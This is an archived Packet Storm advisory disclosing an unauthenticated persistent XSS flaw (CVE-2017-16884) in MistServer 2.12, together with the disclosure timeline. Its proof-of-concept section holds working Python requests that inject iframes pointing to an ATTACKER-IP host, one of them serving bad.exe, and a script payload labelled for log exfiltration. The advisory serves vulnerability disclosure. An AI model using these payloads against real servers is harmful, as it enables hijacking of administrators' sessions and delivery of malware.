Exploit the possiblities

MistServer 2.12 Cross Site Scripting

MistServer 2.12 Cross Site Scripting
Posted Dec 1, 2017
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

MistServer version 2.12 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2017-16884
MD5 | 7b7d57cb59056ac8a438058f6d3380cf

MistServer 2.12 Cross Site Scripting

Change Mirror Download
[+] Credits: John Page (aka Hyp3rlinX)    
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MIST-SERVER-v2.12-UNAUTHENTICATED-PERSISTENT-XSS-CVE-2017-16884.txt
[+] ISR: ApparitionSec



Vendor:
=============
mistserver.org



Product:
===========
MistServer v2.12


MistServer is a full-featured, next-generation streaming media toolkit for OTT (internet streaming).



Vulnerability Type:
===================
Unauthenticated Persistent XSS



CVE Reference:
==============
CVE-2017-16884



Security Issue:
================
Unauthenticated remote attackers can inject persistent XSS payloads by making failed HTTP authentication requests. Attacker supplied payloads will
get stored in the server logs as failed authentication requests alerts. Mistserver echoes back the unsanitized payloads in Mist Servers Web interface
automatically due to automatic refresh of the UI every few seconds, thereby, executing arbitrary attacker supplied code.



References:
============
https://news.mistserver.org/news/78/Stable+release+2.13+now+available%21



Exploit/POC:
=============
import requests

#INJECT IFRAME
requests.get('http://VICTIM-IP:4242/admin/api?callback=&command={"authorize":{"password":"666","username":"<iframe src=\'http://ATTACKER-IP\'></iframe>"}}')

#PUSH MALWARE
requests.get('http://VICTIM-IP:4242/admin/api?callback=&command={"authorize":{"password":"666","username":"<iframe src=\'http://ATTACKER-IP/bad.exe\'></iframe>"}}')

#EXFIL LOGS
requests.get('http://VICTIM-IP:4242/admin/api?command={"authorize":{"password":"666","username":"<script>alert(document.body.innerHTML)</script>"}}')



Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
=============================
Vendor Notification: October 19, 2017
Vendor Acknowledgement : October 20, 2017
Vendor Released Fix : November 30, 2017
December 1, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    0 Files
  • 17
    Jan 17th
    0 Files
  • 18
    Jan 18th
    0 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close